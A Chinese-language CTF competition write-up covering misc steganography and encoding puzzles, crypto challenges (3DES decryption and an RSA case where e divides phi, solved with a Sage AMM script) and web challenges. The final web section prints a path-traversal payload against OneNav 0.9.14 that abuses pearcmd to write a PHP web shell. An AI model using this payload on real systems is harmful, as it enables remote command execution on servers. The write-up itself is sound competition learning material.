警告
本文最后更新于 2023-02-01,文中内容可能已过时。
题不难,至少misc和crypto不难
杀到第四拿了个一等奖
misc
misc_pyc
题目给了一个pyc,先用uncompyle6反编译
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
import base64
flag_2 = '*****'
bin_str = ''.join([bin(ord(c)).replace('0b', '').zfill(8) for c in flag_2])
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('0.txt', 'rb') as (f0):
with open('1.txt', 'wb') as (f1):
for line in f0.readlines():
rowstr = base64.b64encode(line.replace(b'\n', b''))
equalnum = rowstr.count(b'=')
if equalnum:
if len(bin_str):
offset = int('0b' + bin_str[:equalnum * 2], 2)
char = rowstr[(len(rowstr) - equalnum - 1)]
char = chr(char)
rowstr = rowstr.replace(char.encode(), base64chars[(base64chars.index(char) + offset)].encode())
bin_str = bin_str[equalnum * 2:]
f1.write(rowstr + b'\n')
what_f1_write = [
'YQ1=',
'Yg3=',
'Yw0=',
'ZA3=',
'ZQ1=',
'Zg0=',
'Zw1=',
'aA1=',
'aQ0=',
'ag3=',
'aw1=',
'bA2=',
'bQ0=',
'bg3=',
'bw1=',
'cA0=',
'cQ1=',
'cg3=',
'c9==']
|
看起来是base64隐写,找个解题脚本简单改一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
import base64
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
what_f1_write = ['YQ1=','Yg3=','Yw0=','ZA3=','ZQ1=','Zg0=','Zw1=','aA1=','aQ0=','ag3=',
'aw1=','bA2=','bQ0=','bg3=','bw1=','cA0=','cQ1=','cg3=','c9==']
bin_str = ''
for stegb64 in what_f1_write:
# stegb64 = str(line, "utf-8").strip("\n")
rowb64 = str(base64.b64encode(base64.b64decode(stegb64)), "utf-8").strip("\n")
offset = abs(b64chars.index(stegb64.replace('=', '').replace('\r','')[-1]) - b64chars.index(rowb64.replace('=', '')[-1]))
equalnum = stegb64.count('=') # no equalnum no offset
if equalnum:
bin_str += bin(offset)[2:].zfill(equalnum * 2)
print(''.join([chr(int(bin_str[i:i + 8], 2)) for i in range(0, len(bin_str), 8)]))
|
得到结果 sE64}
再去用pyc隐写解前半段

拼起来得到
flag{pyc&bAsE64}
好玩的编码
1
|
5230307a5631465756444a4e576c6c4852566c4d4d6b3953535555794d30745454454a4a52454e54576c704a556b5a584e6b355454453431574668425430784b546c704a555430395054303d
|
解hex16:
R00zV1FWVDJNWllHRVlMMk9SSUUyM0tTTEJJRENTWlpJUkZXNk5TTE41WFhBT0xKTlpJUT09PT0=
magic:base32再58:flag{W0w_You_ar3_great}
happyImg
stegsolve左右翻发现一个密码:!QAZXSW@1qazxsw2

lsb隐写,red,blue为0。
保存为bin,记事本打开看到flag.png,改名为压缩包,输入密码,得到flag


网络寻综
看图是哈穆迪清真寺
谷歌搜mosquee AI-Hamoudi phone
看到电话

flag{+25377865774}
crypto
3des
给了一个java文件和一个加密结果
算法就是tripleDES
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
class Crypto {
private static String KEY = "@2AzsQ#Hnx%XTosMR6$LtEKD";
private static String IV = "CpEF7SDz";
public static String encrypt(String data) throws Exception {
Cipher cipher = Cipher.getInstance("DESede/CBC/PKCS5Padding");
SecretKeySpec secretKeySpec = new SecretKeySpec(KEY.getBytes(), "DESede");
IvParameterSpec ivParameterSpec = new IvParameterSpec(IV.getBytes());
cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivParameterSpec);
byte[] encrypted = cipher.doFinal(data.getBytes("UTF-8"));
return bytes2hexstr(encrypted);
}
public static String bytes2hexstr(byte[] buf) {
StringBuffer sb = new StringBuffer();
for (int i = 0; i < buf.length; i++) {
String hex = Integer.toHexString(buf[i] & 0xFF);
if (hex.length() == 1) {
hex = '0' + hex;
}
sb.append(hex.toLowerCase());
}
return sb.toString();
}
public static void main(String[] args) throws Exception {
System.out.println(encrypt("flag{xxx}"));
}
}
|
key=@2AzsQ#Hnx%XTosMR6$LtEKD
IV=CpEF7SDz
算法CBC/PKCS5Padding

happyRSA
给了pqenc
但是e是phi_n的因数
用AMM在有限域内开方
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
|
#sage
from Crypto.Util.number import *
import gmpy2
import time
import random
from tqdm import tqdm
p = 97559992143538505823351615639211763734311559951587665014345919747733390740450790273359386575890798160795025626573580365828156108078100621074495137190416226109270591884516099679926053478560750986193065549865131400457769381398338702594631516054868885157801055786648957386508374821243393633398068286519087291899
e = 223
q = 305441694023646712448997551501420161654473174790323208128426716523786159389593732096324499033892465876683490515456465981922248571768795221792067055550876465089846480000103207743072486330333647531692833975457277965585913100536970416049033758578728704151353769882703817603346904165274693820583811661679269246933
c = 8310151988085860771226135398874764307621316769660563267495107758782855420167201345224621932233009864886459191650276831555553606018772356624861344010051427084784712615419584399034171295434663517111130692609510225248850800086750351336299722121740091690781297611587292792380263994661373171593543809045588215109967008287273462651359353786188222933360961215432623197670015133463997036747979075992284955864774118038735419327630590319728196257908297742808557311174379279085833900573941668601788656519597930019583786869324790276024107739682158108450127890693464079075924933789639419538796893294354565682012619667240947317948
n = p*q
def AMM(o, r, q):
start = time.time()
print('\n----------------------------------------------------------------------------------')
print('Start to run Adleman-Manders-Miller Root Extraction Method')
print('Try to find one {:#x}th root of {} modulo {}'.format(r, o, q))
g = GF(q)
o = g(o)
p = g(random.randint(1, q))
while p ^ ((q-1) // r) == 1:
p = g(random.randint(1, q))
print('[+] Find p:{}'.format(p))
t = 0
s = q - 1
while s % r == 0:
t += 1
s = s // r
print('[+] Find s:{}, t:{}'.format(s, t))
k = 1
while (k * s + 1) % r != 0:
k += 1
alp = (k * s + 1) // r
print('[+] Find alp:{}'.format(alp))
a = p ^ (r**(t-1) * s)
b = o ^ (r*alp - 1)
c = p ^ s
h = 1
for i in range(1, t):
d = b ^ (r^(t-1-i))
if d == 1:
j = 0
else:
print('[+] Calculating DLP...')
j = - discrete_log(d, a)
print('[+] Finish DLP...')
b = b * (c^r)^j
h = h * c^j
c = c^r
result = o^alp * h
end = time.time()
print("Finished in {} seconds.".format(end - start))
print('Find one solution: {}'.format(result))
return result
def onemod(p,r):
t=p-2
while pow(t,(p-1) // r,p)==1:
t -= 1
return pow(t,(p-1) // r,p)
def solution(p,root,e):
g = onemod(p,e)
may = set()
for i in range(e):
may.add(root * pow(g,i,p)%p)
return may
def union(x1, x2):
a1, m1 = x1
a2, m2 = x2
d = gmpy2.gcd(m1, m2)
assert (a2 - a1) % d == 0
p1,p2 = m1 // d,m2 // d
_,l1,l2 = gmpy2.gcdext(p1,p2)
k = -((a1 - a2) // d) * l1
lcm = gmpy2.lcm(m1,m2)
ans = (a1 + k * m1) % lcm
return ans,lcm
def excrt(ai,mi):
tmp = zip(ai,mi)
return reduce(union, tmp)
cp = c % p
cq = c % q
mp = AMM(cp,e,p)
mq = AMM(cq,e,q)
mps = solution(p,mp,e)
mqs = solution(q,mq,e)
for mpp in tqdm(mps):
for mqq in mqs:
ai = [int(mpp),int(mqq)]
mi = [p,q]
m = CRT_list(ai,mi)
flag = long_to_bytes(m)
if b'flag' in flag:
print(flag)
exit(0)
|
web
多页面爬取
抓包爆破 每一个页面下的字母合并即可
lfi_system
dirsearch扫描 发现php.php
https://blog.csdn.net/qq_46918279/article/details/120106832#WEB82-session文件包含


设置两项 条件竞争

第三题
打开发现为onenav框架,通过github查看源码得知存在version.txt文件。访问可以得到版本号为
0.9.14

搜索相应版本漏洞,在github发现存在路径穿越漏洞,但没有详细,对比0.9.14与0.9.15发现最后过
滤了 ../ 与 ./ ,且后面once_include()中存在可控参数


接着通过pearcmd执行系统命令即可,本来想反弹shell,但发现空格绕过一直绕不过去,最后想到
直接获取$_POST参数来执行命令就是了。
payload:
1
|
/index.php?+config-create+/&c=../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=system($_POST['a'])?>+/tmp/hello1.php
|

